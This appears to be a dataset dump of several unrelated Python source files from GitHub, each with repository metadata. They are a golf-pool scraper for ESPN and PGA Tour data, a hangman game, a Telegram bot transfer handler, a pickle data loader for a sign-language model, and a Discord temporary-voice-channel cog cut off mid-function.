g.golfer.espn_number:\n g_data = espn_golfer_stats_api.ESPNGolfer(g.golfer.espn_number)\n if g_data.fedex_rank():\n try:\n prior = prior_t.fedex_data.get(g.golfer.golfer_name).get('rank')\n except Exception as e:\n prior = ''\n data[g.golfer.golfer_name] = {'rank': g_data.fedex_rank(), 'points': g_data.fedex_points(), 'last_week_rank': prior }\n c += 1\n if c % 20 == 0:\n print ('fedex data updated: ', c, ' of ', g_count, ' dur: ', datetime.datetime.now() - start)\n elif c == g_count:\n print ('fedex updates completed: ', c, ' of ', g_count)\n # link = 'https://www.pgatour.com/fedexcup/official-standings.html'\n # fed_ex_html = urllib.request.urlopen(link)\n # fed_ex_soup = BeautifulSoup(fed_ex_html, 'html.parser')\n # rows = fed_ex_soup.find('table', {'class': 'table-fedexcup-standings'}).find_all('tr')\n # fedex_data_year = fed_ex_soup.find('h2', {'class': 'title'}).text.strip()[:4]\n # if Tournament.objects.filter(season__current=True).count() > 0 and not str(season.season) == str(fedex_data_year):\n # print ('fedex data season mismatch')\n # return {}\n # try:\n # for row in rows[1:]:\n # tds = row.find_all('td')\n # if not tds[0].get('class'):\n # # print (tds[2].text.strip())\n # data[tds[2].text.replace(u'\\xa0', u' ')] = {'rank': tds[0].text, \n # 'last_week_rank': tds[1].text,\n # 'points': tds[4].text.strip().replace(',', '')}\n # except Exception as e:\n # print ('fedex mapping issue ', e)\n\n # fedex_data_year = fed_ex_soup.find('h2', {'class': 'title'}).text.strip()[:4]\n if tournament:\n tournament.fedex_data = data\n tournament.save()\n fedex_season = FedExSeason.objects.get(season=tournament.season).update_player_points()\n\n except Exception as ex:\n print ('fedex overall issue ', ex)\n\n\n return data\n\ndef get_golfer(player, pga_num=None, espn_data=None, espn_num=None):\n '''takes a pga_num string, returns a golfer object. creates golfer if it doesnt exist'''\n #player is the golfer name\n if pga_num and Golfer.objects.filter(golfer_pga_num=pga_num).exists():\n golfer = Golfer.objects.get(golfer_pga_num=pga_num)\n elif Golfer.objects.filter(golfer_name=player, golfer_pga_num__in=['', None]).exists() and pga_num:\n golfer = Golfer.objects.get(golfer_name=player, golfer_pga_num__in=['', None])\n golfer.golfer_pga_num = pga_num\n golfer.save()\n else:\n g = Golfer()\n if pga_num:\n g.golfer_pga_num=pga_num\n else:\n g.golfer_pga_num = ''\n g.golfer_name = player\n g.save()\n golfer = g\n \n if golfer.pic_link in [' ', None]:\n golfer.pic_link = golfer.get_pic_link()\n golfer.save()\n\n if golfer.flag_link in [' ', None]:\n golfer.flag_link = golfer.get_flag()\n golfer.save()\n\n if espn_num:\n golfer.espn_num = espn_num\n elif golfer.espn_number in [' ', None] and espn_data:\n golfer.espn_number = get_espn_num(player, espn_data)\n #else:\n # golfer.espn_number = ''\n\n golfer.save() \n \n return golfer\n\n\ndef find_pga_num(golfer_name):\n '''takes a string returns a string'''\n start = datetime.datetime.now()\n names = golfer_name.split(' ')\n last_name = names[len(names)-1]\n first_name = names[0]\n print (last_name)\n print (first_name)\n headers = {'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Mobile Safari/537.36'}\n url = \"https://statdata.pgatour.com/players/player.json\"\n data = get(url, headers=headers).json()\n \n players = [v.get('pid') for v in data.get('plrs') if v.get('nameL') == last_name and v.get('nameF') == first_name] \n\n if len(players) > 1:\n print (\"Multiple possible PGA numbers \", golfer_name)\n print (players)\n return None\n elif len(players) == 1:\n print ('found player pga num: ', golfer_name, players)\n return players[0]\n else:\n print (\"FInd PGA numbers found none\", golfer_name)\n return None\n\n \n ## This is incomplete, but complete and use if you need to scrape\n # start = datetime.datetime.now()\n # link = 'https://www.pgatour.com/players.html'\n # players_html = urllib.request.urlopen(link)\n # players_soup = BeautifulSoup(players_html, 'html.parser')\n # rows = players_soup.find_all('li', {'class': 'player-card'})\n # d = {}\n # for r in rows:\n # #print (r.find('span', {'class', 'player-surname'}).text)\n # #print (r.find('span', {'class', 'player-firstname'}).text)\n # pga_num = str(r.find('a', {'class', 'player-link'}).get('href').split('/')[2].split('.')[1])\n # full_name = r.find('span', {'class', 'player-firstname'}).text + ' ' + r.find('span', {'class', 'player-surname'}).text\n # d[pga_num] = {'golfer': full_name}\n # #d[r.find('a', {'class', 'player-link'}).get('href').split('/')[2].split('.')[1]] = {'golfer': r.find('span', {'class', 'player-firstname'}).text + ' ' + r.find('span', {'class', 'player-surname'}).text}\n # print ('find pga dur: ', datetime.datetime.now() - start)\n # print (d.get('01006'))\n return\n\n\ndef get_espn_num(player, espn_data):\n if espn_data.get(player):\n print ('returning found: ', player, espn_data.get(player))\n #return player, espn_data.get(player)\n return espn_data.get(player).get('pga_num')\n else:\n print ('not found, fixing: ', player)\n fixed_data = utils.fix_name(player, espn_data)\n print ('returning fixed: ', fixed_data)\n if fixed_data[0] == None:\n #return (player, {})\n return None\n else:\n #return player, fixed_data[1]\n return fixed_data[1].get('pga_num')\n \n return\n\n\ndef get_espn_players(t):\n espn_data = scrape_espn.ScrapeESPN(t, None, True, True).get_data()\n return espn_data\n\n\ndef prior_year_sd(t, current=None):\n '''takes a tournament and bool, returns nothing. Current skips prior year and resets the SD for that tournament'''\n if not current:\n try:\n prior_season = Season.objects.get(season=int(t.season.season)-1)\n prior_t = Tournament.objects.get(pga_tournament_num=t.pga_tournament_num, season=prior_season)\n except Exception as e:\n print ('no prior tournament, getting 2 years ago', e)\n try:\n prior_season = Season.objects.get(season=int(t.season.season)-2)\n prior_t = Tournament.objects.get(pga_tournament_num=t.pga_tournament_num, season=prior_season)\n except Exception as f:\n print ('no prior 2 years ago, returning nothing', f)\n return {}\n else:\n prior_season = t.season\n prior_t = t\n\n print ('proir T: ', prior_t, prior_t.season)\n sd, created = ScoreDict.objects.get_or_create(tournament=prior_t)\n if not created:\n pga_nums = [v.get('pga_num') for (k,v) in sd.data.items() if k != 'info' and v.get('pga_num')] \n print ('prior SD # of pga nums: ', len(pga_nums))\n else:\n print ('created score dict')\n\n if (not created and (not sd.data or len(sd.data) == 0 or not sd.data.get('info'))) or created: #added info check to update if not from espn\n print ('updating prior SD', prior_t)\n espn_t_num = scrape_espn.ScrapeESPN(prior_t).get_t_num(prior_season)\n print ('espn T num', espn_t_num)\n url = \"https://www.espn.com/golf/leaderboard?tournamentId=\" + espn_t_num\n score_dict = scrape_espn.ScrapeESPN(prior_t,url, True, True).get_data()\n print ('saving prior SD, SD data len: ', prior_t, len(score_dict))\n sd.data = score_dict\n sd.save()\n return sd.data\n \n\ndef zurich_field(field):\n field_dict = {}\n for k, v in sorted(field.items(), key=lambda item: item[1].get('curr_owgr')):\n team= v.get('team')\n print (team)\n #print (field_dict)\n data = [k for k, v in field_dict.items() if v.get('team') == team]\n print (data)\n if len(data) > 0:\n #partner\n field_dict[data[0]].update({\n 'partner': k,\n 'partner_pga_num': v.get('pga_num'),\n 'partner_owgr': v.get('curr_owgr'),\n 'team_owgr': v.get('curr_owgr') + field_dict.get(data[0]).get('curr_owgr')\n \n })\n else:\n #main guy\n field_dict[k] = {\n 'pga_num': v.get('pga_num'),\n 'curr_owgr': v.get('curr_owgr'),\n 'soy_owgr': v.get('soy_owgr'),\n 'sow_owgr': v.get('sow_owgr'),\n 'team': team\n }\n\n return OrderedDict(sorted(field_dict.items(), key=lambda item: item[1].get('team_owgr')))\n #return OrderedDict({k:v for k,v in sorted(field.items(), key=lambda item: item['team']['curr_wgr'] + item['team']['curr_wgr'])})\n \n\n ","repo_name":"jflynn87/games","sub_path":"golf_app/populateField.py","file_name":"populateField.py","file_ext":"py","file_size_in_byte":43715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"114251333","text":"# word_list = [\"b\",\"o\",\"o\",\"t\",\"c\",\"a\",\"m\",\"p\"]\n# hidden_list = [\"_\",\"_\",\"_\",\"_\",\"_\",\"_\",\"_\",\"_\"]\n# hangman_list = []\n\nimport random\n\ndef print_greetings():\n print(\"------------------------------\")\n print(\"Hello and welcome to the game!\")\n print(\"------------------------------\")\n\ndef print_list(a_list):\n print(a_list)\n\ndef get_word():\n f = open(\"hangman_word_list.txt\",\"r\")\n l = f.readlines()\n lenght = len(l)\n random_number = random.randrange(0,lenght)\n word = l[random_number]\n return word[:-1]\n\ndef string_to_list(word_string):\n position = 0\n lenght = len(word_string)\n a_list = []\n while position < lenght:\n content = word_string[position]\n a_list.append(content)\n position = position + 1\n return a_list\n\ndef get_guess():\n print(\"Please give me a character.\")\n a_char = input()\n return a_char\n\ndef get_position_of_guess(a_char,a_list):\n position = 0\n pos_list = []\n while(position < len(a_list)):\n if a_list[position] == a_char:\n pos_list.append(position)\n position = position + 1\n return pos_list\n\ndef add_correct_letter(a_hidden_list,a_positions_list,a_char):\n position = 0 \n while (position < len(a_positions_list)):\n a_hidden_list[a_positions_list[position]] = a_char\n position = position + 1\n return a_hidden_list\n\ndef are_we_done(a_word_list,a_hidden_list):\n if a_word_list == a_hidden_list:\n return True\n else:\n return False\n\n#-----------------------------\nword = get_word()\nword_list = string_to_list(word)\nhidden_list = [\"_\"]*len(word_list)\nhangman_list = []\n\nprint_greetings()\n\nwhile (True):\n print_list(hidden_list)\n print_list(hangman_list)\n\n char = get_guess()\n\n positions_list = get_position_of_guess(char,word_list)\n\n if len(positions_list) > 0:\n hidden_list = add_correct_letter(hidden_list,positions_list,char)\n else:\n hangman_list.append(char)\n if len(hangman_list) > 14:\n print(\"You lost! The correct was\", word)\n break\n\n if are_we_done(word_list,hidden_list):\n print(word)\n print(\"You are a WINNER!\")\n break ","repo_name":"schmiddam/programming-bootcamp22","sub_path":"Group1_hangman_with_wordlist.py","file_name":"Group1_hangman_with_wordlist.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7070327583","text":"from telegram import Update\nfrom telegram.ext import ContextTypes\n\nfrom tg_app.api import get_user_transactions\nfrom tg_app.localization import trans_list_message\nfrom tg_app.transfers.inlines import transfers_inline\n\n\ndef indexExists(list, index):\n if 0 <= index < len(list):\n return True\n else:\n return False\n\n\nasync def transfer_list_choose(update: Update, context: ContextTypes.DEFAULT_TYPE):\n items = get_user_transactions(update.effective_chat.id)\n inline = transfers_inline(1, items.get('count'))\n await update.message.reply_text(trans_list_message(items.get('result')), reply_markup=inline)\n\n\nasync def transfer_list(update: Update, context: ContextTypes.DEFAULT_TYPE):\n items = get_user_transactions(update.effective_chat.id, int(update.callback_query.data.split(\",\")[1]))\n inline = transfers_inline(int(update.callback_query.data.split(',')[1]), items.get('count'))\n await update.callback_query.message.edit_text(trans_list_message(items.get('result')), reply_markup=inline)\n await update.callback_query.answer()\n","repo_name":"kieled/tg-exchange","sub_path":"tg_app/transfers/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"1687850162","text":"import os\nimport gzip\nimport numpy as np\nimport _pickle as cPickle\nfrom Constraints.path import PICKLES_PATH\nfrom Model.modelEnum import Environment, Image\nfrom Exception.modelException import EnvironmentException\nfrom Exception.inputOutputException import PathDoesNotExistException\n\n\nclass InputModel:\n \"\"\"\n A class used to read the samples stored in the pickles' files.\n\n Attributes\n ----------\n NUMBER_IMAGES_IN_REDUCED_PICKLE : number\n Number of samples to read for each sign for each pickle\n __train_data : dictionary\n Dictionary of training data and labels\n __test_data : dictionary\n Dictionary of testing data and labels\n pickles_name : array\n Array of pickles' name\n base_pickle_src : string\n Sources of the pickles' path\n\n Methods\n -------\n set_x(environment, data)\n Set the data\n set_y(environment, labels)\n Set the labels\n set_pickles_name(pickles_name)\n Set the pickles' name\n get_pickles_name()\n Get the pickles' name\n get_data(environment)\n Get the environment's data\n combine_pickles_reducing_size(environment)\n Read a part of each pickle and combine them \n \"\"\"\n\n NUMBER_IMAGES_IN_REDUCED_PICKLE = 5\n\n def __init__(self):\n self.__train_data = None\n self.__test_data = None\n self.pickles_name = []\n self.base_pickle_src = f\"{PICKLES_PATH}%s/%s_%s.pkl\"\n\n def set_x(self, environment, data):\n \"\"\"Set the data.\n\n Parameters\n ----------\n environment : Environment\n Environment of the data to set\n data : array\n Data to be assigned to\n \"\"\"\n self.__set_value(environment, Image.DATA, data)\n\n def set_y(self, environment, labels):\n \"\"\"Set the labels.\n\n Parameters\n ----------\n environment : Environment\n Environment of the labels to set\n labels : array\n Labels to be assigned to\n \"\"\"\n self.__set_value(environment, Image.LABEL, labels)\n \n def set_pickles_name(self, pickles_name):\n \"\"\"Set the pickles' name.\n\n Parameters\n ----------\n pickles_name : array\n Array of pickles to be asigned to\n \"\"\"\n self.pickles_name = pickles_name\n\n def get_pickles_name(self):\n \"\"\"Get the pickles' name.\n\n Returns\n ----------\n string\n String of the pickles'name separated by a comma\n \"\"\"\n return \"-\".join(self.pickles_name)\n\n def get_data(self, environment):\n \"\"\"Get the environment's data.\n\n Raises\n ------\n EnvironmentException\n If the environment variable is not an Environment enumeration\n\n Returns\n ----------\n dictionary\n Dictionary of the environment data and labels\n \"\"\"\n if not isinstance(environment, Environment):\n raise EnvironmentException(\"Environment used is not a valid one\")\n\n if environment == Environment.TRAIN:\n if self.__train_data is None:\n self.__train_data = self.__read_data(environment)\n data = self.__train_data\n\n else:\n if self.__test_data is None:\n self.__test_data = self.__read_data(environment)\n data = self.__test_data\n\n return data\n\n def combine_pickles_reducing_size(self, environment):\n \"\"\"Read a part of each pickle and combine them.\n\n Parameters\n ----------\n environment : Environment\n Environment of the pickles to combine\n\n Raises\n ------\n EnvironmentException\n If the environment variable is not an Environment enumeration\n \"\"\"\n if not isinstance(environment, Environment):\n raise EnvironmentException(\"Environment used is not a valid one\")\n\n data = self.__get_init_data()\n\n for pickle_name in self.pickles_name:\n actual_pickle_data = self.__get_pickle_data(pickle_name, environment)\n actual_pickle_data = self.__get_firsts_values_each_sign(actual_pickle_data)\n data = self.__concat_pickles(data, actual_pickle_data)\n\n if environment is Environment.TRAIN:\n self.__train_data = data\n else:\n self.__test_data = data\n\n def __read_data(self, environment):\n if not isinstance(environment, Environment):\n raise EnvironmentException(\"Environment used is not a valid one\")\n\n data = self.__get_init_data()\n\n for pickle_name in self.pickles_name:\n\n actual_pickle_data = self.__get_pickle_data(pickle_name, environment)\n\n data = self.__concat_pickles(data, actual_pickle_data)\n\n return data\n\n def __get_firsts_values_each_sign(self, actual_pickle_data):\n data = self.__get_init_data()\n data[Image.DESCRIPTION.value] = actual_pickle_data[Image.DESCRIPTION.value]\n\n signs = np.unique(actual_pickle_data[Image.LABEL.value])\n\n for sign in signs:\n indexes = [index for index, value in enumerate(actual_pickle_data[Image.LABEL.value]) if value == sign][:self.NUMBER_IMAGES_IN_REDUCED_PICKLE]\n\n if len(data[Image.DATA.value]) == 0:\n data[Image.DATA.value] = actual_pickle_data[Image.DATA.value][indexes]\n data[Image.LABEL.value] = actual_pickle_data[Image.LABEL.value][indexes]\n else:\n data[Image.DATA.value] = np.concatenate((\n data[Image.DATA.value],\n actual_pickle_data[Image.DATA.value][indexes]\n ))\n data[Image.LABEL.value] = np.concatenate((\n data[Image.LABEL.value],\n actual_pickle_data[Image.LABEL.value][indexes]\n ))\n\n return data\n \n def __set_value(self, environment, data_type, values):\n if not isinstance(environment, Environment):\n raise EnvironmentException(\"Environment used is not a valid one\")\n\n if self.__train_data is None:\n self.__train_data = {}\n\n if environment == Environment.TRAIN:\n self.__train_data[data_type.value] = values\n else:\n self.__test_data[data_type.value] = values\n\n def __get_pickle_data(self, pickle_name, environment):\n pickle_src = self.base_pickle_src % (pickle_name, pickle_name, environment.value)\n\n if not os.path.exists(pickle_src):\n raise PathDoesNotExistException(\"The pickle needs to exists before using it\")\n\n with gzip.open(pickle_src, 'rb') as f:\n actual_pickle_data = cPickle.load(f)\n \n actual_pickle_data[Image.DATA.value] = np.array(actual_pickle_data[Image.DATA.value])\n actual_pickle_data[Image.LABEL.value] = np.array(actual_pickle_data[Image.LABEL.value])\n\n return actual_pickle_data\n\n @staticmethod\n def __get_init_data():\n return {\n Image.DESCRIPTION.value: \"\",\n Image.DATA.value: np.array([]),\n Image.LABEL.value: np.array([])\n }\n \n @staticmethod\n def __concat_pickles(data, actual_pickle_data):\n if len(data[Image.DATA.value]) == 0:\n data[Image.DATA.value] = actual_pickle_data[Image.DATA.value]\n data[Image.LABEL.value] = actual_pickle_data[Image.LABEL.value]\n data[Image.DESCRIPTION.value] = actual_pickle_data[Image.DESCRIPTION.value]\n\n else:\n data[Image.DATA.value] = np.concatenate((\n data[Image.DATA.value],\n actual_pickle_data[Image.DATA.value]\n ))\n data[Image.LABEL.value] = np.concatenate((\n data[Image.LABEL.value],\n actual_pickle_data[Image.LABEL.value]\n ))\n data[Image.DESCRIPTION.value] += \"; \" + actual_pickle_data[Image.DESCRIPTION.value]\n\n return data\n","repo_name":"marGaliana/SignLanguageProcessing","sub_path":"SignGestureDetection/Src/Model/DatasetController/inputModel.py","file_name":"inputModel.py","file_ext":"py","file_size_in_byte":7931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8174295516","text":"import discord\nimport discord.utils\nfrom discord.ui import Button, View, Modal, InputText, Select\nfrom discord.ext import commands\nimport config\nfrom logs import logs\n\nclass tempvoice(commands.Cog):\n def __init__(self, client):\n self.client: commands.Bot = client\n self.temp_channels = []\n self.current_response: discord.Interaction = None\n\n @commands.Cog.listener()\n async def on_ready(self):\n interface_embed = discord.Embed(title=\"tempvoice interface\", description=\"\", color=2829617)\n interface_embed.set_image(url=\"https://cdn.discordapp.com/attachments/1101840195466301460/1107693369158815744/interface.png\")\n\n emoji_rename = discord.PartialEmoji(name=\"rename\", animated=False, id=1101840047549984779)\n emoji_limit = discord.PartialEmoji(name=\"limit\", animated=False, id=1101840054764183592)\n emoji_private = discord.PartialEmoji(name=\"private\", animated=False, id=1101840061030477926)\n emoji_visibility = discord.PartialEmoji(name=\"visibility\", animated=False, id=1105095004738822224)\n emoji_region = discord.PartialEmoji(name=\"region\", animated=False, id=1101840066990583880)\n emoji_allow = discord.PartialEmoji(name=\"allow\", animated=False, id=1105095038402297968)\n emoji_forbid = discord.PartialEmoji(name=\"forbid\", animated=False, id=1105095059289944185)\n emoji_transfer = discord.PartialEmoji(name=\"transfer\", animated=False, id=1105103753687871623)\n emoji_kick = discord.PartialEmoji(name=\"kick\", animated=False, id=1105103727112757269)\n emoji_delete = discord.PartialEmoji(name=\"delete\", animated=False, id=1101839965798793227)\n\n interface_view = View(timeout=None)\n\n button_rename = Button(label=\"\", custom_id=\"tempvoice_rename\", style=discord.ButtonStyle.blurple, emoji=emoji_rename)\n button_limit = Button(label=\"\", custom_id=\"tempvoice_limit\", style=discord.ButtonStyle.blurple, emoji=emoji_limit)\n button_private = Button(label=\"\", custom_id=\"tempvoice_private\", style=discord.ButtonStyle.blurple, emoji=emoji_private)\n button_visibility = Button(label=\"\", custom_id=\"tempvoice_visibility\", style=discord.ButtonStyle.blurple, emoji=emoji_visibility)\n button_region = Button(label=\"\", custom_id=\"tempvoice_region\", style=discord.ButtonStyle.blurple, emoji=emoji_region)\n button_allow = Button(label=\"\", custom_id=\"tempvoice_allow\", style=discord.ButtonStyle.blurple, emoji=emoji_allow)\n button_forbid = Button(label=\"\", custom_id=\"tempvoice_forbid\", style=discord.ButtonStyle.blurple, emoji=emoji_forbid)\n button_transfer = Button(label=\"\", custom_id=\"tempvoice_transfer\", style=discord.ButtonStyle.blurple, emoji=emoji_transfer)\n button_kick = Button(label=\"\", custom_id=\"tempvoice_kick\", style=discord.ButtonStyle.blurple, emoji=emoji_kick)\n button_delete = Button(label=\"\", custom_id=\"tempvoice_delete\", style=discord.ButtonStyle.blurple, emoji=emoji_delete)\n\n button_rename.callback = self.rename\n button_limit.callback = self.limit\n button_private.callback = self.private\n button_visibility.callback = self.visibility\n button_region.callback = self.region\n button_allow.callback = self.allow\n button_forbid.callback = self.forbid\n button_transfer.callback = self.transfer\n button_kick.callback = self.kick\n button_delete.callback = self.delete\n\n interface_view.add_item(button_rename)\n interface_view.add_item(button_limit)\n interface_view.add_item(button_private)\n interface_view.add_item(button_visibility)\n interface_view.add_item(button_region)\n interface_view.add_item(button_allow)\n interface_view.add_item(button_forbid)\n interface_view.add_item(button_transfer)\n interface_view.add_item(button_kick)\n interface_view.add_item(button_delete)\n\n # раскомментить если нету сообщения\n await self.client.get_channel(config.interface_channel).purge(limit=100)\n await self.client.get_channel(config.interface_channel).send(view=interface_view, embed=interface_embed)\n\n #self.client.add_view(interface_view)\n\n @commands.Cog.listener()\n async def on_voice_state_update(self, member: discord.Member, before: discord.VoiceState, after: discord.VoiceState):\n # Tempvoice creation\n if after.channel != None and after.channel.id == config.tempvoice_channel:\n await self.voice_create(member)\n # Tempvoice deletion\n for channel_owner in self.temp_channels:\n if before.channel != None and before.channel == channel_owner.get(\"channel\") and before.channel.members == []:\n self.temp_channels.remove(channel_owner)\n await self.voice_delete(before.channel)\n\n async def voice_delete(self, channel: discord.VoiceChannel):\n log_channel = self.client.get_channel(config.voice_log)\n await channel.delete()\n embed:discord.Embed = await logs.log_embed(\n self=self,\n title=f\"{self.client.user.name}\",\n description=f\"<:red:1097244281816748072> tempvoice `#{channel.name}` was deleted\",\n user=self.client.user\n )\n await log_channel.send(embed=embed)\n \n async def voice_create(self, member: discord.Member):\n log_channel = self.client.get_channel(config.voice_log)\n role: discord.Role = discord.utils.get(member.guild.roles, id=config.default_role)\n unverified: discord.Role = discord.utils.get(member.guild.roles, id=config.unverified_role)\n create_channel = self.client.get_channel(config.tempvoice_channel)\n temp_channel = await create_channel.category.create_voice_channel(member.name)\n self.temp_channels.append({'channel': temp_channel, 'owner_id': member.id, 'members': []})\n embed:discord.Embed = await logs.log_embed(\n self=self,\n title=f\"{self.client.user.name}\",\n description=f\"<:green:1097244269267402812> tempvoice <#{temp_channel.id}> was created\",\n user=self.client.user\n )\n await temp_channel.set_permissions(member, connect=True)\n await temp_channel.set_permissions(role, connect=True, view_channel=True)\n await temp_channel.set_permissions(unverified, view_channel=False)\n await log_channel.send(embed=embed)\n await member.move_to(temp_channel)\n\n def permission_check(func):\n async def wrapper(self, ctx: discord.Interaction):\n for channel_owner in self.temp_channels:\n if channel_owner.get(\"owner_id\") == ctx.user.id:\n await func(self, ctx, channel_owner)\n return wrapper\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await ctx.response.send_message(\"you do not have permission\", ephemeral=True)\n return wrapper\n\n @permission_check\n async def rename(self, ctx: discord.Interaction, channel_owner):\n rename_modal = Modal(title=\"Rename\")\n rename_modal.add_item(InputText(label=\"Enter new channel name\", max_length=100))\n async def callback(interaction: discord.Interaction):\n channel: discord.VoiceChannel = channel_owner.get(\"channel\")\n await channel.edit(name=rename_modal.children[0].value)\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await interaction.response.send_message(content=\"name changed\", ephemeral=True)\n rename_modal.callback = callback\n await ctx.response.send_modal(rename_modal)\n\n @permission_check\n async def limit(self, ctx: discord.Interaction, channel_owner):\n limit_modal = Modal(title=\"Limit\")\n limit_modal.add_item(InputText(\n label=\"Enter new limit for your channel\", \n placeholder=\"Leave blank to reset limit\",\n required=False,\n max_length=2\n ))\n async def callback(interaction: discord.Interaction):\n value = limit_modal.children[0].value\n channel: discord.VoiceChannel = channel_owner.get(\"channel\")\n if value != \"\" and value.isnumeric():\n await channel.edit(user_limit=limit_modal.children[0].value)\n else:\n await channel.edit(user_limit=0)\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await interaction.response.send_message(content=\"limit changed\", ephemeral=True)\n limit_modal.callback = callback\n await ctx.response.send_modal(limit_modal)\n\n @permission_check\n async def private(self, ctx: discord.Interaction, channel_owner):\n channel: discord.VoiceChannel = channel_owner.get(\"channel\")\n role: discord.Role = discord.utils.get(ctx.guild.roles, id=config.default_role)\n permissions: discord.Permissions = channel.permissions_for(role)\n if channel.permissions_for(role).connect == True:\n await channel.set_permissions(role, connect=False, view_channel=permissions.view_channel)\n elif channel.permissions_for(role).connect == False:\n await channel.set_permissions(role, connect=True, view_channel=permissions.view_channel)\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await ctx.response.send_message(content=\"privacy changed\", ephemeral=True)\n\n @permission_check\n async def visibility(self, ctx: discord.Interaction, channel_owner):\n channel: discord.VoiceChannel = channel_owner.get(\"channel\")\n role: discord.Role = discord.utils.get(ctx.guild.roles, id=config.default_role)\n permissions: discord.Permissions = channel.permissions_for(role)\n if channel.permissions_for(role).view_channel == True:\n await channel.set_permissions(role, view_channel=False, connect=permissions.connect)\n elif channel.permissions_for(role).view_channel == False:\n await channel.set_permissions(role, view_channel=True, connect=permissions.connect)\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await ctx.response.send_message(content=\"visibility changed\", ephemeral=True)\n\n @permission_check\n async def region(self, ctx: discord.Interaction, channel_owner):\n options = [\n discord.SelectOption(label=\"automatic\", value=\"0\"),\n discord.SelectOption(label=\"brazil\", value=\"1\"),\n discord.SelectOption(label=\"hong kong\", value=\"2\"),\n discord.SelectOption(label=\"india\", value=\"3\"),\n discord.SelectOption(label=\"japan\", value=\"4\"),\n discord.SelectOption(label=\"rotterdam\", value=\"5\"),\n discord.SelectOption(label=\"russia\", value=\"6\"),\n discord.SelectOption(label=\"singapore\", value=\"7\"),\n discord.SelectOption(label=\"south africa\", value=\"8\"),\n discord.SelectOption(label=\"sydney\", value=\"9\"),\n discord.SelectOption(label=\"us central\", value=\"10\"),\n discord.SelectOption(label=\"us east\", value=\"11\"),\n discord.SelectOption(label=\"us south\", value=\"12\"),\n discord.SelectOption(label=\"us west\", value=\"13\")\n ]\n select = Select(placeholder=\"select an option\", options=options)\n async def callback(interaction: discord.Interaction):\n selected = interaction.data[\"values\"][0]\n channel: discord.VoiceChannel = channel_owner.get(\"channel\")\n if selected == \"0\": await channel.edit(rtc_region=None)\n if selected == \"1\": await channel.edit(rtc_region=\"brazil\")\n if selected == \"2\": await channel.edit(rtc_region=\"hongkong\")\n if selected == \"3\": await channel.edit(rtc_region=\"india\")\n if selected == \"4\": await channel.edit(rtc_region=\"japan\")\n if selected == \"5\": await channel.edit(rtc_region=\"rotterdam\")\n if selected == \"6\": await channel.edit(rtc_region=\"russia\")\n if selected == \"7\": await channel.edit(rtc_region=\"singapore\")\n if selected == \"8\": await channel.edit(rtc_region=\"southafrica\")\n if selected == \"9\": await channel.edit(rtc_region=\"sydney\")\n if selected == \"10\": await channel.edit(rtc_region=\"us-central\")\n if selected == \"11\": await channel.edit(rtc_region=\"us-east\")\n if selected == \"12\": await channel.edit(rtc_region=\"us-south\")\n if selected == \"13\": await channel.edit(rtc_region=\"us-west\")\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await interaction.response.send_message(content=\"region changed\", ephemeral=True)\n select.callback = callback\n view = View()\n view.add_item(select)\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await ctx.response.send_message(\"choose a region:\", view=view, ephemeral=True)\n\n @permission_check\n async def allow(self, ctx: discord.Interaction, channel_owner):\n channel: discord.VoiceChannel = channel_owner.get(\"channel\")\n options = []\n for member in ctx.guild.members:\n if channel.permissions_for(member).connect == False or channel.permissions_for(member).view_channel == False:\n options.append(discord.SelectOption(\n label=await self.get_name(member),\n description=f\"{member.name}#{member.discriminator}\",\n #emoji=await self.get_avatar(member),\n value=str(member.id)))\n \n if (len(options) < 1):\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await ctx.response.send_message(\"all users have access already\", ephemeral=True)\n return\n \n select = Select(placeholder=\"selected users will have access to channel\", options=options, min_values=1, max_values=len(options))\n async def callback(interaction: discord.Interaction):\n for user_id in interaction.data[\"values\"]:\n await channel.set_permissions(ctx.guild.get_member(int(user_id)), connect=True, view_channel=True)\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await interaction.response.send_message(\"access granted\", ephemeral=True)\n select.callback = callback\n view = View()\n view.add_item(select)\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await ctx.response.send_message(\"select users:\", view=view, ephemeral=True)\n\n @permission_check\n async def forbid(self, ctx: discord.Interaction, channel_owner):\n channel: discord.VoiceChannel = channel_owner.get(\"channel\")\n options = []\n for member in ctx.guild.members:\n if channel.permissions_for(member).connect == True or channel.permissions_for(member).view_channel == True:\n options.append(discord.SelectOption(\n label=await self.get_name(member),\n description=f\"{member.name}#{member.discriminator}\",\n #emoji=await self.get_avatar(member),\n value=str(member.id)))\n \n if (len(options) < 1):\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await ctx.response.send_message(\"all users does not have access already\", ephemeral=True)\n return\n \n select = Select(placeholder=\"selected users will not have access to channel\", options=options, min_values=1, max_values=len(options))\n async def callback(interaction: discord.Interaction):\n for user_id in interaction.data[\"values\"]:\n await channel.set_permissions(ctx.guild.get_member(int(user_id)), connect=False, view_channel=False)\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await interaction.response.send_message(\"access reverted\", ephemeral=True)\n select.callback = callback\n view = View()\n view.add_item(select)\n if self.current_response and ctx.user.id == self.current_response.user.id: await 